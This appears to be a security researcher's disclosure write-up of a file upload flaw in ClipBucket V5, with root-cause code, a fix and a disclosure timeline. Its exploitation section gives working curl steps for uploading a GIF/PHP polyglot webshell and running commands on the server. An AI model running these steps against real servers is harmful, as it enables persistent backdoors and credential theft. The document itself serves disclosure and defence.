HIGH · 8.7 ClipBucket V5CVEVulnerability Research

CVE-2026-77929: From Image Upload to Remote Code Execution in ClipBucket V5

A critical file upload vulnerability in ClipBucket V5 allows any registered user to upload PHP webshells disguised as images, achieving persistent remote code execution on the server.

Adam NurudiniAdam Nurudini 21 SEPT 2026 8 min read CVE-2026-77929
CVE-2026-77929: From Image Upload to Remote Code Execution in ClipBucket V5
⚡
TL;DR

ClipBucket validates uploaded file content against a whitelist, but saves the file using the original attacker-supplied extension. Upload a GIF89a polyglot named shell.php, and nginx executes it as PHP — persistent RCE from the lowest-privilege account tier.

Introduction

This is one of the most impactful vulnerabilities I've found in ClipBucket V5 — a file upload flaw that grants persistent remote code execution to anyone who can register an account.

By exploiting a mismatch between content validation and filename handling, an attacker can upload a PHP webshell disguised as an image, then execute arbitrary commands as the web server user.

Root Cause

Two Variables, One Mismatch

The vulnerability lies in FileUpload::manageFile() in fileupload.class.php. The function validates file type using one variable but saves the file using a different variable that was never updated:

phpfileupload.class.php · manageFile()
private function manageFile(): void
{
    // Extension from client-supplied filename
    $extension = strtolower($this->fileExtension);
<span class="k">if</span> ($this->checkMimeType) {
    <span class="c">// Overwritten with content-derived value (LOCAL VARIABLE ONLY)</span>
    <span class="ok2">$extension</span> = getExtMimeType($this->tempFilePath);
}

<span class="c">// Whitelist check uses the content-derived value</span>
<span class="k">if</span> (!in_array($extension, $this->allowedExtensions)) {
    $this->error(...);
}

<span class="c">// ... later ...</span>

<span class="k">if</span> ($this->keepExtension) {
    <span class="c">// Uses ORIGINAL attacker-supplied extension!</span>
    $this->destinationFilePath .= '.' . <span class="bad">$this->fileExtension</span>;
}

$moved = move_uploaded_file($this->tempFilePath, $this->destinationFilePath);

}

⚠️
The critical flaw

$this->fileExtension is set from user input ($_FILES['name']) and never reassigned after content validation. The whitelist check validates $extension, but the saved filename uses $this->fileExtension — the original, attacker-controlled value.

The Only Vulnerable Caller

The photo uploader in actions/photo_uploader.php is the only code path that sets both checkMimeType and keepExtension to true:

phpactions/photo_uploader.php
$params = [
    'fileData'            => 'Filedata',
    'mimeType'            => 'image',
    'destinationFilePath' => $targetFile,
    'keepExtension'       => true,               // Use client extension
    'maxFileSize'         => ...,
    'allowedExtensions'   => Photo::getAllowedPhotoExtension(), // [jpg,jpeg,png,gif]
    'checkMimeType'       => true                // Validate content type
];
FileUpload::getInstance($params)->processUpload();

Why Uploaded PHP Files Execute

The Docker deployment's nginx config doesn't disable PHP execution in the upload directory:

nginxnginx.conf
location ~* \.php$ {
    fastcgi_pass unix:/run/php/phpPHP_VERSION_PLACEHOLDER-fpm.sock;
    # ...
}

location ~* ^(.*/)?files/ { try_files $uri $uri/ =404; }

Nginx evaluates regex locations in declaration order, using the first match. Since \.php$ appears before files/, any .php file — even under files/photos/ — routes to PHP-FPM and executes.

Default Permissions Enable This Attack

The photo_uploader.php endpoint requires hasPermission('allow_photo_upload'). Per the installer's default permission seed (cb_install/sql/user_levels.sql), the default "Registered User" role — the self-service signup tier — has this permission enabled by default.

⚠️
No elevated role needed

Any self-registered account can exploit this. The attacker doesn't need admin access or special permissions — just a basic account created via public signup.

Discovery Process

  1. 1Map Uploads

    Identified all file upload endpoints

  2. 2Analyze Validation

    Reviewed FileUpload class thoroughly

  3. 3Find Mismatch

    $extension vs $this->fileExtension divergence

  4. 4Verify Execution

    Confirmed nginx routes .php to PHP-FPM

  5. 5Build PoC

    Created GIF89a/PHP polyglot

Exploitation

Prerequisites

  • Any registered user account (self-signup is enabled by default)
  • No elevated permissions required
  • Tested against ClipBucket V5 master @ commit da1a665 with default Docker deployment

The enable_chunk_upload setting defaults to yes, which adds a top-level image/* content-type check — but a genuine GIF with appended PHP code satisfies this check.

The GIF89a Polyglot Technique

A polyglot file is valid in multiple formats simultaneously. I created a minimal GIF89a that also contains PHP code — it passes getimagesize() validation while containing executable PHP:

bashcreate polyglot
# Minimal valid GIF header followed by PHP payload
printf 'GIF89a\x01\x00\x01\x00\x00\xff\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;' > shell.php
echo '' >> shell.php

Step 1: Authenticate

bashregister account
curl -s -c cookies.txt -X POST "http://target/signup" \
  -d "username=attacker&password=Attack123&email=test@test.com"

Step 2: Upload the Polyglot

bashupload webshell
curl -s -b cookies.txt -X POST \
  "http://target/actions/photo_uploader.php?mode=upload" \
  -F "Filedata=@shell.php" \
  -F "chunk=0" \
  -F "chunks=1" \
  -F "unique_id=pwned" \
  -F "name=shell.php"
jsonresponse — note the extension
{
  "success": "yes",
  "file_name": "17864443659ca8a6",
  "extension": "php",
  "file_directory": "2026/08/11"
}

Step 3: Execute Commands

bashRCE achieved
curl "http://target/files/photos/2026/08/11/17864443659ca8a6.php?c=id"

# Response: GIF89a............RCE_Linux ..._END uid=1000(containeruser) gid=1000(containeruser) groups=1000(containeruser)

✓
Full RCE achieved

The webshell persists indefinitely and survives even if the uploading account is banned or deleted. One upload = permanent backdoor access.

Impact

This is materially more severe than a typical "requires admin" upload bug. The attacker needs only a self-registered account — the lowest privilege tier, normally open to the public.

From this foothold an attacker can:

  • Read includes/config.php (database credentials)
  • Pivot to full database compromise
  • Modify or deface content
  • Deploy ransomware or cryptominers
  • Retain the webshell as a durable backdoor that survives account deletion
Confidentiality HIGH

Read any file accessible to the web server: configs, database credentials, user data.

Integrity HIGH

Modify any file, alter database contents, plant additional backdoors.

Availability HIGH

Delete files, crash services, deploy ransomware.

CVSS Breakdown

CVSS 4.0 Base Score: 8.7 (High) — per VulnCheck CNA

Vector: AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

MetricValueRationale
Attack Vector (AV)NetworkSingle HTTP POST request
Attack Complexity (AC)LowNo race conditions or timing
Attack Requirements (AT)NoneDefault configuration is vulnerable
Privileges Required (PR)LowAny registered user
User Interaction (UI)NoneFully automated exploitation
Vulnerable Confidentiality (VC)HighRead any file, access database credentials
Vulnerable Integrity (VI)HighModify any file, plant backdoors
Vulnerable Availability (VA)HighDelete files, crash services
Subsequent System ImpactNoneImpact contained to vulnerable system

Remediation

✓
The minimal fix

Keep $this->fileExtension in sync with the validated extension after content type detection.

phpthe fix
$extension = strtolower($this->fileExtension);
if ($this->checkMimeType) {
    $extension = getExtMimeType($this->tempFilePath);
    $this->fileExtension = $extension;  // CRITICAL: sync the saved extension
}
if (!in_array($extension, $this->allowedExtensions)) {
    $this->error(...);
}
1
Sync fileExtension after validation

Ensure the saved filename uses the content-derived extension.

2
Disable PHP in upload directory

Add nginx rule: location ^~ /files/ { location ~ \.php$ { return 403; } }

3
Store uploads outside webroot

Serve via a streaming script with fixed Content-Type.

4
Block dangerous extensions

Denylist .php, .phtml, .php5, .phar regardless of content.

5
Audit other upload endpoints

Check avatar, background, subtitle, and watermark upload paths for the same pattern.

Regression Tests

  • Upload valid image with .php extension → saved with .gif/.jpg/.png, NOT .php
  • Request uploaded .php file directly → 403 Forbidden, NOT PHP execution
  • Response extension matches content type, not original filename

Timeline

  1. 11 Aug 2026
    Discovered

    Identified extension/content validation mismatch in FileUpload class.

  2. 11 Aug 2026
    Reproduced

    End-to-end RCE confirmed against Docker deployment @ commit da1a665.

  3. 15 Sep 2026
    Reported

    Disclosed via GitHub Security Advisory (GHSA draft submitted).

  4. 21 Sep 2026
    CVE Assigned

    CVE-2026-77929 issued; writeup published.

The Lesson

Never trust that validation happened just because validation code exists. Trace the data flow from input to output — the validated value must be what actually gets used.

This vulnerability is a masterclass in how subtle code flaws create critical security gaps. The developers implemented content validation — getimagesize() checks, MIME type verification, extension whitelisting. From a cursory review, the code looks secure.

But the classic CWE-646 mistake happened: relying on the file extension from an externally-supplied filename instead of the one derived from validated content. One line of code — $this->fileExtension = $extension; — would have prevented this entire vulnerability class.

The 100% repeatability, zero race conditions, and low privilege requirement make this especially dangerous. Combined with the default nginx configuration that executes PHP anywhere, it's a straight path from self-registration to full server compromise.

References


This vulnerability was discovered through ethical security research and responsibly disclosed through GitHub Security Advisories. All exploitation was performed in isolated lab environments.

Adam Nurudini
Written by

Adam Nurudini

Offensive Security Consultant specializing in vulnerability research, penetration testing, and red team operations. Published CVE author.

Back to all posts